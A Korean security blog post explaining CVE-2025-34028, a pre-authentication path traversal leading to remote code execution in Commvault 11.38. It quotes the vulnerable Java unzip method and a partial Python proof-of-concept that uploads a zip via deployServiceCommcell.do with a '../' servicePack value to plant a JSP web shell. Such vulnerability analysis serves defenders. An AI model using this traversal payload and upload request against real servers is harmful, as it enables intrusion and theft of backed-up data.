[하루한줄] CVE-2025-34028: Commvault Path Traversal 통한 Remote Code Execution 취약점
URL
Target
- Commvault 11.38.0 – 11.38.19
Explain
데이터 백업 솔루션인 Commvault 에서 Remote Code Execution 이 발견되었습니다.
취약점은 deployWebpackage.do
와 deployServiceCommcell.do
두 곳에서 트리거 될 수 있습니다. deployWebpackage.do
로 트리거하면 외부 서버에서 zip 파일을 갖고 오고 deployServiceCommcell.do
는 zip 파일을 바로 업로드할 수 있습니다. 두 엔드포인트 모두 deployCCPackage
메소드를 호출하는데요. 여기에서 servicePack
파라메터에 검증이 없기 때문에 압축을 풀 때 상위 디렉토리 접근이 가능합니다.
private void deployCCPackage(String servicePack) throws IOException {
String BASE_PATH = this.extractPath(this.fileZipUtil.getResourcePath(""), false);
String CC_DEPLOY_PATH = BASE_PATH + File.separator + "Apache" + File.separator + "conf" + File.separator + "ccPackages" + File.separator;
String DIST_CC_PATH = BASE_PATH + File.separator + "AdminConsole" + File.separator + "dist-cc-sps" + File.separator;
String TEMP_DIR = servicePack + ".tmp" + File.separator + "dist-cc";
String SERVICEPACK_DEPLOY_PATH = DIST_CC_PATH + servicePack + ".tmp";
File dir = new File(SERVICEPACK_DEPLOY_PATH);
if (dir.exists()) {
FileUtils.deleteDirectory(dir);
}
this.fileZipUtil.unzipFileWrtAbsPath(CC_DEPLOY_PATH + servicePack + File.separator + "dist-cc.zip", DIST_CC_PATH + TEMP_DIR);
PoC 코드의 일부를 보면 웹 서버에서 접근 가능한 /Reports/MetricsUpload/
쪽을 대상으로 servicePack 변수를 세팅[1]해서 웹쉘 업로드를 시키는 것을 볼 수 있습니다.
...
random_path = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
print(f"[*] Uploading to /reports/MetricsUpload/{random_path}/")
upload_url = f"{args.url}/commandcenter/deployServiceCommcell.do"
upload_headers = {"User-Agent": "CommvaultRCEPoC", "Accept": "*/*"}
upload_form = {
'servicePack': (None, f'/../../../Reports/MetricsUpload/{random_path}/', 'text/plain'), # [1]
'version': (None, '12.45', 'text/plain'),
'file': ('file.zip', shell, 'application/octet-stream')
}
requests.post(upload_url, headers=upload_headers, files=upload_form, verify=False)
shell_url = f"{args.url}/reports/MetricsUpload/{random_path}/.tmp/dist-cc/dist-cc/shell.jsp"
...
참고자료에 따르면 심지어 이 엔드포인트들은 인증을 수행하지 않기 때문에 preauth 로도 트리거가 가능합니다. 그리고 해당 솔루션은 SaaS 로도 제공되기 때문에 외부로 오픈되어 있다면 RCE 로 인해 권한이 탈취당하고 백업된 데이터들 까지도 영향을 미칠 수 있어 파급력이 높아보이네요.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.